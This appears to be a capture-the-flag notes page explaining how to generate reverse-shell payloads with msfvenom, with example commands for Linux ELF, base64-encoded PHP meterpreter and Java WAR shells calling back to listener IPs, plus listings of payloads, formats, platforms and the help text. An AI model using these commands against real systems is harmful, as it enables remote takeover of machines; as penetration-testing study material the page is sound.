> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/lat-mov/reverse-shells/create-payloads-with-msfvenom.md).
# Create Payloads with MSFvenom
MSFvenom is a combination of Msfpayload and Msfencode, putting both of these tools into a single Framework instance.
## Examples
To create a standard reverse shell binary for x86 Linux with an IP of `192.168.48.2`
```bash
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.48.2 LPORT=443 -f elf -o rev_shell
```
To create a PHP-reverse shell encoded as Base64
```bash
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.186.44 -f raw -e php/base64
```
To create a reverse shell in [WAR-format](https://en.wikipedia.org/wiki/WAR_\(file_format\)):
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.14.61.233 LPOST=4444 -f war -o rev_shell.war
```
## Listings
To list all meterpreter payloads for the linux platform
```bash
msfvenom --platform linux -l payloads | grep meterpreter
```
To list all meterpreter payloads for x64 Linux
```bash
┌──(kali㉿kali)-[~]
└─$ msfvenom --platform linux -a x64 -l payloads | grep meterpreter
linux/x64/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connection
linux/x64/meterpreter/reverse_sctp Inject the mettle server payload (staged). Connect back to the attacker
linux/x64/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/x64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/x64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/x64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
```
### List Formats
To list the available formats
msfvenom -l formats
```bash
┌──(kali㉿kali)-[~]
└─$ msfvenom -l formats
Framework Executable Formats [--format ]
===============================================
Name
----
asp
aspx
aspx-exe
axis2
dll
ducky-script-psh
elf
elf-so
exe
exe-only
exe-service
exe-small
hta-psh
jar
jsp
loop-vbs
macho
msi
msi-nouac
osx-app
psh
psh-cmd
psh-net
psh-reflection
python-reflection
vba
vba-exe
vba-psh
vbs
war
Framework Transform Formats [--format ]
==============================================
Name
----
base32
base64
bash
c
csharp
dw
dword
go
golang
hex
java
js_be
js_le
masm
nim
nimlang
num
octal
perl
pl
powershell
ps1
py
python
raw
rb
ruby
rust
rustlang
sh
vbapplication
vbscript
zig
```
msfvenom -l platforms
```bash
┌──(kali㉿kali)-[~]
└─$ msfvenom --list platforms
Framework Platforms [--platform ]
========================================
Name
----
aix
android
apple_ios
arista
brocade
bsd
bsdi
cisco
firefox
freebsd
hardware
hpux
irix
java
javascript
juniper
linux
mainframe
mikrotik
multi
netbsd
netware
nodejs
openbsd
osx
php
python
r
ruby
solaris
unifi
unix
unknown
windows
```
## Usage information
msfvenom -h
```bash
┌──(kali㉿kali)-[~]
└─$ msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options]
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST= -f exe -o payload.exe
Options:
-l, --list List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options List --payload 's standard, advanced and evasion options
-f, --format Output format (use --list formats to list)
-e, --encoder The encoder to use (use --list encoders to list)
--service-name The service name to use when generating a service binary
--sec-name The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
--smallest Generate the smallest possible payload using all available encoders
--encrypt The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
--encrypt-key A key to be used for --encrypt
--encrypt-iv An initialization vector for --encrypt
-a, --arch The architecture to use for --payload and --encoders (use --list archs to list)
--platform The platform for --payload (use --list platforms to list)
-o, --out Save the payload to a file
-b, --bad-chars Characters to avoid example: '\x00\xff'
-n, --nopsled Prepend a nopsled of [length] size on to the payload
--pad-nops Use nopsled size specified by -n as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
-s, --space The maximum size of the resulting payload
--encoder-space The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations The number of times to encode the payload
-c, --add-code Specify an additional win32 shellcode file to include
-x, --template Specify a custom executable file to use as a template
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name Specify a custom variable name to use for certain output formats
-t, --timeout The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-h, --help Show this message
```
## Resources
How to use msfvenom - Metasploit Docs:
MSFVenom - Metasploit Unleashed: